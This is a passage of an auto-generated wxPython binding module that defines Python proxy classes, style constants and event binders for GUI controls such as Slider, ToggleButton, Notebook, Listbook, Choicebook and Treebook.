_controls_.RadioButton_swigregister(RadioButton)
def PreRadioButton(*args, **kwargs):
"""PreRadioButton() -> RadioButton"""
val = _controls_.new_PreRadioButton(*args, **kwargs)
return val
def RadioButton_GetClassDefaultAttributes(*args, **kwargs):
"""
RadioButton_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.RadioButton_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
SL_HORIZONTAL = _controls_.SL_HORIZONTAL
SL_VERTICAL = _controls_.SL_VERTICAL
SL_TICKS = _controls_.SL_TICKS
SL_AUTOTICKS = _controls_.SL_AUTOTICKS
SL_LABELS = _controls_.SL_LABELS
SL_LEFT = _controls_.SL_LEFT
SL_TOP = _controls_.SL_TOP
SL_RIGHT = _controls_.SL_RIGHT
SL_BOTTOM = _controls_.SL_BOTTOM
SL_BOTH = _controls_.SL_BOTH
SL_SELRANGE = _controls_.SL_SELRANGE
SL_INVERSE = _controls_.SL_INVERSE
class Slider(_core.Control):
"""Proxy of C++ Slider class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, int value=0, int minValue=0,
int maxValue=100, Point pos=DefaultPosition,
Size size=DefaultSize, long style=SL_HORIZONTAL,
Validator validator=DefaultValidator,
String name=SliderNameStr) -> Slider
"""
if kwargs.has_key('point'): kwargs['pos'] = kwargs['point'];del kwargs['point']
_controls_.Slider_swiginit(self,_controls_.new_Slider(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, int value=0, int minValue=0,
int maxValue=100, Point pos=DefaultPosition,
Size size=DefaultSize, long style=SL_HORIZONTAL,
Validator validator=DefaultValidator,
String name=SliderNameStr) -> bool
"""
return _controls_.Slider_Create(*args, **kwargs)
def GetValue(*args, **kwargs):
"""GetValue(self) -> int"""
return _controls_.Slider_GetValue(*args, **kwargs)
def SetValue(*args, **kwargs):
"""SetValue(self, int value)"""
return _controls_.Slider_SetValue(*args, **kwargs)
def GetMin(*args, **kwargs):
"""GetMin(self) -> int"""
return _controls_.Slider_GetMin(*args, **kwargs)
def GetMax(*args, **kwargs):
"""GetMax(self) -> int"""
return _controls_.Slider_GetMax(*args, **kwargs)
def SetMin(*args, **kwargs):
"""SetMin(self, int minValue)"""
return _controls_.Slider_SetMin(*args, **kwargs)
def SetMax(*args, **kwargs):
"""SetMax(self, int maxValue)"""
return _controls_.Slider_SetMax(*args, **kwargs)
def SetRange(*args, **kwargs):
"""SetRange(self, int minValue, int maxValue)"""
return _controls_.Slider_SetRange(*args, **kwargs)
def GetRange(self):
return self.GetMin(), self.GetMax()
def SetLineSize(*args, **kwargs):
"""SetLineSize(self, int lineSize)"""
return _controls_.Slider_SetLineSize(*args, **kwargs)
def SetPageSize(*args, **kwargs):
"""SetPageSize(self, int pageSize)"""
return _controls_.Slider_SetPageSize(*args, **kwargs)
def GetLineSize(*args, **kwargs):
"""GetLineSize(self) -> int"""
return _controls_.Slider_GetLineSize(*args, **kwargs)
def GetPageSize(*args, **kwargs):
"""GetPageSize(self) -> int"""
return _controls_.Slider_GetPageSize(*args, **kwargs)
def SetThumbLength(*args, **kwargs):
"""SetThumbLength(self, int lenPixels)"""
return _controls_.Slider_SetThumbLength(*args, **kwargs)
def GetThumbLength(*args, **kwargs):
"""GetThumbLength(self) -> int"""
return _controls_.Slider_GetThumbLength(*args, **kwargs)
def SetTickFreq(*args, **kwargs):
"""SetTickFreq(self, int n, int pos=1)"""
return _controls_.Slider_SetTickFreq(*args, **kwargs)
def GetTickFreq(*args, **kwargs):
"""GetTickFreq(self) -> int"""
return _controls_.Slider_GetTickFreq(*args, **kwargs)
def ClearTicks(*args, **kwargs):
"""ClearTicks(self)"""
return _controls_.Slider_ClearTicks(*args, **kwargs)
def SetTick(*args, **kwargs):
"""SetTick(self, int tickPos)"""
return _controls_.Slider_SetTick(*args, **kwargs)
def ClearSel(*args, **kwargs):
"""ClearSel(self)"""
return _controls_.Slider_ClearSel(*args, **kwargs)
def GetSelEnd(*args, **kwargs):
"""GetSelEnd(self) -> int"""
return _controls_.Slider_GetSelEnd(*args, **kwargs)
def GetSelStart(*args, **kwargs):
"""GetSelStart(self) -> int"""
return _controls_.Slider_GetSelStart(*args, **kwargs)
def SetSelection(*args, **kwargs):
"""SetSelection(self, int min, int max)"""
return _controls_.Slider_SetSelection(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Slider_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
LineSize = property(GetLineSize,SetLineSize,doc="See `GetLineSize` and `SetLineSize`")
Max = property(GetMax,SetMax,doc="See `GetMax` and `SetMax`")
Min = property(GetMin,SetMin,doc="See `GetMin` and `SetMin`")
PageSize = property(GetPageSize,SetPageSize,doc="See `GetPageSize` and `SetPageSize`")
SelEnd = property(GetSelEnd,doc="See `GetSelEnd`")
SelStart = property(GetSelStart,doc="See `GetSelStart`")
ThumbLength = property(GetThumbLength,SetThumbLength,doc="See `GetThumbLength` and `SetThumbLength`")
TickFreq = property(GetTickFreq,SetTickFreq,doc="See `GetTickFreq` and `SetTickFreq`")
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.Slider_swigregister(Slider)
SliderNameStr = cvar.SliderNameStr
def PreSlider(*args, **kwargs):
"""PreSlider() -> Slider"""
val = _controls_.new_PreSlider(*args, **kwargs)
return val
def Slider_GetClassDefaultAttributes(*args, **kwargs):
"""
Slider_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Slider_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
wxEVT_COMMAND_TOGGLEBUTTON_CLICKED = _controls_.wxEVT_COMMAND_TOGGLEBUTTON_CLICKED
EVT_TOGGLEBUTTON = wx.PyEventBinder( wxEVT_COMMAND_TOGGLEBUTTON_CLICKED, 1)
class ToggleButton(_core.Control):
"""Proxy of C++ ToggleButton class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=ToggleButtonNameStr) -> ToggleButton
"""
_controls_.ToggleButton_swiginit(self,_controls_.new_ToggleButton(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=ToggleButtonNameStr) -> bool
"""
return _controls_.ToggleButton_Create(*args, **kwargs)
def SetValue(*args, **kwargs):
"""SetValue(self, bool value)"""
return _controls_.ToggleButton_SetValue(*args, **kwargs)
def GetValue(*args, **kwargs):
"""GetValue(self) -> bool"""
return _controls_.ToggleButton_GetValue(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ToggleButton_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.ToggleButton_swigregister(ToggleButton)
ToggleButtonNameStr = cvar.ToggleButtonNameStr
def PreToggleButton(*args, **kwargs):
"""PreToggleButton() -> ToggleButton"""
val = _controls_.new_PreToggleButton(*args, **kwargs)
return val
def ToggleButton_GetClassDefaultAttributes(*args, **kwargs):
"""
ToggleButton_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ToggleButton_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
BK_DEFAULT = _controls_.BK_DEFAULT
BK_TOP = _controls_.BK_TOP
BK_BOTTOM = _controls_.BK_BOTTOM
BK_LEFT = _controls_.BK_LEFT
BK_RIGHT = _controls_.BK_RIGHT
BK_ALIGN_MASK = _controls_.BK_ALIGN_MASK
BK_BUTTONBAR = _controls_.BK_BUTTONBAR
BK_HITTEST_NOWHERE = _controls_.BK_HITTEST_NOWHERE
BK_HITTEST_ONICON = _controls_.BK_HITTEST_ONICON
BK_HITTEST_ONLABEL = _controls_.BK_HITTEST_ONLABEL
BK_HITTEST_ONITEM = _controls_.BK_HITTEST_ONITEM
BK_HITTEST_ONPAGE = _controls_.BK_HITTEST_ONPAGE
class BookCtrlBase(_core.Control):
"""Proxy of C++ BookCtrlBase class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self): raise AttributeError, "No constructor defined"
__repr__ = _swig_repr
def GetPageCount(*args, **kwargs):
"""GetPageCount(self) -> size_t"""
return _controls_.BookCtrlBase_GetPageCount(*args, **kwargs)
def GetPage(*args, **kwargs):
"""GetPage(self, size_t n) -> Window"""
return _controls_.BookCtrlBase_GetPage(*args, **kwargs)
def GetCurrentPage(*args, **kwargs):
"""GetCurrentPage(self) -> Window"""
return _controls_.BookCtrlBase_GetCurrentPage(*args, **kwargs)
def GetSelection(*args, **kwargs):
"""GetSelection(self) -> int"""
return _controls_.BookCtrlBase_GetSelection(*args, **kwargs)
def SetPageText(*args, **kwargs):
"""SetPageText(self, size_t n, String strText) -> bool"""
return _controls_.BookCtrlBase_SetPageText(*args, **kwargs)
def GetPageText(*args, **kwargs):
"""GetPageText(self, size_t n) -> String"""
return _controls_.BookCtrlBase_GetPageText(*args, **kwargs)
def SetImageList(*args, **kwargs):
"""SetImageList(self, ImageList imageList)"""
return _controls_.BookCtrlBase_SetImageList(*args, **kwargs)
def AssignImageList(*args, **kwargs):
"""AssignImageList(self, ImageList imageList)"""
return _controls_.BookCtrlBase_AssignImageList(*args, **kwargs)
def GetImageList(*args, **kwargs):
"""GetImageList(self) -> ImageList"""
return _controls_.BookCtrlBase_GetImageList(*args, **kwargs)
def GetPageImage(*args, **kwargs):
"""GetPageImage(self, size_t n) -> int"""
return _controls_.BookCtrlBase_GetPageImage(*args, **kwargs)
def SetPageImage(*args, **kwargs):
"""SetPageImage(self, size_t n, int imageId) -> bool"""
return _controls_.BookCtrlBase_SetPageImage(*args, **kwargs)
def SetPageSize(*args, **kwargs):
"""SetPageSize(self, Size size)"""
return _controls_.BookCtrlBase_SetPageSize(*args, **kwargs)
def CalcSizeFromPage(*args, **kwargs):
"""CalcSizeFromPage(self, Size sizePage) -> Size"""
return _controls_.BookCtrlBase_CalcSizeFromPage(*args, **kwargs)
def GetInternalBorder(*args, **kwargs):
"""GetInternalBorder(self) -> unsigned int"""
return _controls_.BookCtrlBase_GetInternalBorder(*args, **kwargs)
def SetInternalBorder(*args, **kwargs):
"""SetInternalBorder(self, unsigned int internalBorder)"""
return _controls_.BookCtrlBase_SetInternalBorder(*args, **kwargs)
def IsVertical(*args, **kwargs):
"""IsVertical(self) -> bool"""
return _controls_.BookCtrlBase_IsVertical(*args, **kwargs)
def SetControlMargin(*args, **kwargs):
"""SetControlMargin(self, int margin)"""
return _controls_.BookCtrlBase_SetControlMargin(*args, **kwargs)
def GetControlMargin(*args, **kwargs):
"""GetControlMargin(self) -> int"""
return _controls_.BookCtrlBase_GetControlMargin(*args, **kwargs)
def SetFitToCurrentPage(*args, **kwargs):
"""SetFitToCurrentPage(self, bool fit)"""
return _controls_.BookCtrlBase_SetFitToCurrentPage(*args, **kwargs)
def GetFitToCurrentPage(*args, **kwargs):
"""GetFitToCurrentPage(self) -> bool"""
return _controls_.BookCtrlBase_GetFitToCurrentPage(*args, **kwargs)
def GetControlSizer(*args, **kwargs):
"""GetControlSizer(self) -> Sizer"""
return _controls_.BookCtrlBase_GetControlSizer(*args, **kwargs)
def DeletePage(*args, **kwargs):
"""DeletePage(self, size_t n) -> bool"""
return _controls_.BookCtrlBase_DeletePage(*args, **kwargs)
def RemovePage(*args, **kwargs):
"""RemovePage(self, size_t n) -> bool"""
return _controls_.BookCtrlBase_RemovePage(*args, **kwargs)
def DeleteAllPages(*args, **kwargs):
"""DeleteAllPages(self) -> bool"""
return _controls_.BookCtrlBase_DeleteAllPages(*args, **kwargs)
def AddPage(*args, **kwargs):
"""AddPage(self, Window page, String text, bool select=False, int imageId=-1) -> bool"""
return _controls_.BookCtrlBase_AddPage(*args, **kwargs)
def InsertPage(*args, **kwargs):
"""
InsertPage(self, size_t n, Window page, String text, bool select=False,
int imageId=-1) -> bool
"""
return _controls_.BookCtrlBase_InsertPage(*args, **kwargs)
def SetSelection(*args, **kwargs):
"""SetSelection(self, size_t n) -> int"""
return _controls_.BookCtrlBase_SetSelection(*args, **kwargs)
def ChangeSelection(*args, **kwargs):
"""ChangeSelection(self, size_t n) -> int"""
return _controls_.BookCtrlBase_ChangeSelection(*args, **kwargs)
def AdvanceSelection(*args, **kwargs):
"""AdvanceSelection(self, bool forward=True)"""
return _controls_.BookCtrlBase_AdvanceSelection(*args, **kwargs)
def HitTest(*args, **kwargs):
"""
HitTest(Point pt) -> (tab, where)
Returns the page/tab which is hit, and flags indicating where using
wx.NB_HITTEST flags.
"""
return _controls_.BookCtrlBase_HitTest(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.BookCtrlBase_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
ControlMargin = property(GetControlMargin,SetControlMargin,doc="See `GetControlMargin` and `SetControlMargin`")
ControlSizer = property(GetControlSizer,doc="See `GetControlSizer`")
CurrentPage = property(GetCurrentPage,doc="See `GetCurrentPage`")
FitToCurrentPage = property(GetFitToCurrentPage,SetFitToCurrentPage,doc="See `GetFitToCurrentPage` and `SetFitToCurrentPage`")
ImageList = property(GetImageList,SetImageList,doc="See `GetImageList` and `SetImageList`")
InternalBorder = property(GetInternalBorder,SetInternalBorder,doc="See `GetInternalBorder` and `SetInternalBorder`")
Page = property(GetPage,doc="See `GetPage`")
PageCount = property(GetPageCount,doc="See `GetPageCount`")
PageImage = property(GetPageImage,SetPageImage,doc="See `GetPageImage` and `SetPageImage`")
PageText = property(GetPageText,SetPageText,doc="See `GetPageText` and `SetPageText`")
Selection = property(GetSelection,SetSelection,doc="See `GetSelection` and `SetSelection`")
_controls_.BookCtrlBase_swigregister(BookCtrlBase)
NotebookNameStr = cvar.NotebookNameStr
def BookCtrlBase_GetClassDefaultAttributes(*args, **kwargs):
"""
BookCtrlBase_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.BookCtrlBase_GetClassDefaultAttributes(*args, **kwargs)
class BookCtrlBaseEvent(_core.NotifyEvent):
"""Proxy of C++ BookCtrlBaseEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=-1,
int nOldSel=-1) -> BookCtrlBaseEvent
"""
_controls_.BookCtrlBaseEvent_swiginit(self,_controls_.new_BookCtrlBaseEvent(*args, **kwargs))
def GetSelection(*args, **kwargs):
"""
GetSelection(self) -> int
Returns item index for a listbox or choice selection event (not valid
for a deselection).
"""
return _controls_.BookCtrlBaseEvent_GetSelection(*args, **kwargs)
def SetSelection(*args, **kwargs):
"""SetSelection(self, int nSel)"""
return _controls_.BookCtrlBaseEvent_SetSelection(*args, **kwargs)
def GetOldSelection(*args, **kwargs):
"""GetOldSelection(self) -> int"""
return _controls_.BookCtrlBaseEvent_GetOldSelection(*args, **kwargs)
def SetOldSelection(*args, **kwargs):
"""SetOldSelection(self, int nOldSel)"""
return _controls_.BookCtrlBaseEvent_SetOldSelection(*args, **kwargs)
OldSelection = property(GetOldSelection,SetOldSelection,doc="See `GetOldSelection` and `SetOldSelection`")
Selection = property(GetSelection,SetSelection,doc="See `GetSelection` and `SetSelection`")
_controls_.BookCtrlBaseEvent_swigregister(BookCtrlBaseEvent)
#---------------------------------------------------------------------------
NB_FIXEDWIDTH = _controls_.NB_FIXEDWIDTH
NB_TOP = _controls_.NB_TOP
NB_LEFT = _controls_.NB_LEFT
NB_RIGHT = _controls_.NB_RIGHT
NB_BOTTOM = _controls_.NB_BOTTOM
NB_MULTILINE = _controls_.NB_MULTILINE
NB_NOPAGETHEME = _controls_.NB_NOPAGETHEME
NB_HITTEST_NOWHERE = _controls_.NB_HITTEST_NOWHERE
NB_HITTEST_ONICON = _controls_.NB_HITTEST_ONICON
NB_HITTEST_ONLABEL = _controls_.NB_HITTEST_ONLABEL
NB_HITTEST_ONITEM = _controls_.NB_HITTEST_ONITEM
NB_HITTEST_ONPAGE = _controls_.NB_HITTEST_ONPAGE
class Notebook(BookCtrlBase):
"""Proxy of C++ Notebook class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=0, String name=NotebookNameStr) -> Notebook
"""
_controls_.Notebook_swiginit(self,_controls_.new_Notebook(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=0, String name=NotebookNameStr) -> bool
"""
return _controls_.Notebook_Create(*args, **kwargs)
def GetRowCount(*args, **kwargs):
"""GetRowCount(self) -> int"""
return _controls_.Notebook_GetRowCount(*args, **kwargs)
def SetPadding(*args, **kwargs):
"""SetPadding(self, Size padding)"""
return _controls_.Notebook_SetPadding(*args, **kwargs)
def SetTabSize(*args, **kwargs):
"""SetTabSize(self, Size sz)"""
return _controls_.Notebook_SetTabSize(*args, **kwargs)
def GetThemeBackgroundColour(*args, **kwargs):
"""GetThemeBackgroundColour(self) -> Colour"""
return _controls_.Notebook_GetThemeBackgroundColour(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Notebook_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
def SendPageChangingEvent(*args, **kwargs):
"""SendPageChangingEvent(self, int nPage) -> bool"""
return _controls_.Notebook_SendPageChangingEvent(*args, **kwargs)
def SendPageChangedEvent(*args, **kwargs):
"""SendPageChangedEvent(self, int nPageOld, int nPageNew=-1)"""
return _controls_.Notebook_SendPageChangedEvent(*args, **kwargs)
RowCount = property(GetRowCount,doc="See `GetRowCount`")
ThemeBackgroundColour = property(GetThemeBackgroundColour,doc="See `GetThemeBackgroundColour`")
_controls_.Notebook_swigregister(Notebook)
def PreNotebook(*args, **kwargs):
"""PreNotebook() -> Notebook"""
val = _controls_.new_PreNotebook(*args, **kwargs)
return val
def Notebook_GetClassDefaultAttributes(*args, **kwargs):
"""
Notebook_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Notebook_GetClassDefaultAttributes(*args, **kwargs)
class NotebookEvent(BookCtrlBaseEvent):
"""Proxy of C++ NotebookEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=-1,
int nOldSel=-1) -> NotebookEvent
"""
_controls_.NotebookEvent_swiginit(self,_controls_.new_NotebookEvent(*args, **kwargs))
_controls_.NotebookEvent_swigregister(NotebookEvent)
wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED
wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING
# wxNotebook events
EVT_NOTEBOOK_PAGE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED, 1 )
EVT_NOTEBOOK_PAGE_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING, 1 )
#----------------------------------------------------------------------------
class NotebookPage(wx.Panel):
"""
There is an old (and apparently unsolvable) bug when placing a
window with a nonstandard background colour in a wx.Notebook on
wxGTK1, as the notbooks's background colour would always be used
when the window is refreshed. The solution is to place a panel in
the notbook and the coloured window on the panel, sized to cover
the panel. This simple class does that for you, just put an
instance of this in the notebook and make your regular window a
child of this one and it will handle the resize for you.
"""
def __init__(self, parent, id=-1,
pos=wx.DefaultPosition, size=wx.DefaultSize,
style=wx.TAB_TRAVERSAL, name="panel"):
wx.Panel.__init__(self, parent, id, pos, size, style, name)
self.child = None
self.Bind(wx.EVT_SIZE, self.OnSize)
def OnSize(self, evt):
if self.child is None:
children = self.GetChildren()
if len(children):
self.child = children[0]
if self.child:
self.child.SetPosition((0,0))
self.child.SetSize(self.GetSize())
#---------------------------------------------------------------------------
LB_DEFAULT = _controls_.LB_DEFAULT
LB_TOP = _controls_.LB_TOP
LB_BOTTOM = _controls_.LB_BOTTOM
LB_LEFT = _controls_.LB_LEFT
LB_RIGHT = _controls_.LB_RIGHT
LB_ALIGN_MASK = _controls_.LB_ALIGN_MASK
class Listbook(BookCtrlBase):
"""Proxy of C++ Listbook class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=0, String name=EmptyString) -> Listbook
"""
_controls_.Listbook_swiginit(self,_controls_.new_Listbook(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=0, String name=EmptyString) -> bool
"""
return _controls_.Listbook_Create(*args, **kwargs)
def GetListView(*args, **kwargs):
"""GetListView(self) -> ListView"""
return _controls_.Listbook_GetListView(*args, **kwargs)
ListView = property(GetListView,doc="See `GetListView`")
_controls_.Listbook_swigregister(Listbook)
def PreListbook(*args, **kwargs):
"""PreListbook() -> Listbook"""
val = _controls_.new_PreListbook(*args, **kwargs)
return val
class ListbookEvent(BookCtrlBaseEvent):
"""Proxy of C++ ListbookEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=-1,
int nOldSel=-1) -> ListbookEvent
"""
_controls_.ListbookEvent_swiginit(self,_controls_.new_ListbookEvent(*args, **kwargs))
_controls_.ListbookEvent_swigregister(ListbookEvent)
wxEVT_COMMAND_LISTBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_LISTBOOK_PAGE_CHANGED
wxEVT_COMMAND_LISTBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_LISTBOOK_PAGE_CHANGING
EVT_LISTBOOK_PAGE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_LISTBOOK_PAGE_CHANGED, 1 )
EVT_LISTBOOK_PAGE_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_LISTBOOK_PAGE_CHANGING, 1 )
CHB_DEFAULT = _controls_.CHB_DEFAULT
CHB_TOP = _controls_.CHB_TOP
CHB_BOTTOM = _controls_.CHB_BOTTOM
CHB_LEFT = _controls_.CHB_LEFT
CHB_RIGHT = _controls_.CHB_RIGHT
CHB_ALIGN_MASK = _controls_.CHB_ALIGN_MASK
class Choicebook(BookCtrlBase):
"""Proxy of C++ Choicebook class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=EmptyString) -> Choicebook
"""
_controls_.Choicebook_swiginit(self,_controls_.new_Choicebook(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=EmptyString) -> bool
"""
return _controls_.Choicebook_Create(*args, **kwargs)
def GetChoiceCtrl(*args, **kwargs):
"""GetChoiceCtrl(self) -> Choice"""
return _controls_.Choicebook_GetChoiceCtrl(*args, **kwargs)
ChoiceCtrl = property(GetChoiceCtrl,doc="See `GetChoiceCtrl`")
_controls_.Choicebook_swigregister(Choicebook)
def PreChoicebook(*args, **kwargs):
"""PreChoicebook() -> Choicebook"""
val = _controls_.new_PreChoicebook(*args, **kwargs)
return val
class ChoicebookEvent(BookCtrlBaseEvent):
"""Proxy of C++ ChoicebookEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=-1,
int nOldSel=-1) -> ChoicebookEvent
"""
_controls_.ChoicebookEvent_swiginit(self,_controls_.new_ChoicebookEvent(*args, **kwargs))
_controls_.ChoicebookEvent_swigregister(ChoicebookEvent)
wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED
wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING
EVT_CHOICEBOOK_PAGE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED, 1 )
EVT_CHOICEBOOK_PAGE_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING, 1 )
#---------------------------------------------------------------------------
class Treebook(BookCtrlBase):
"""Proxy of C++ Treebook class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,
long style=BK_DEFAULT,
String name=EmptyString) -> Treebook
"""
_controls_.Treebook_swiginit(self,_controls_.new_Treebook(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,
long style=BK_DEFAULT,
String name=EmptyString) -> bool
"""
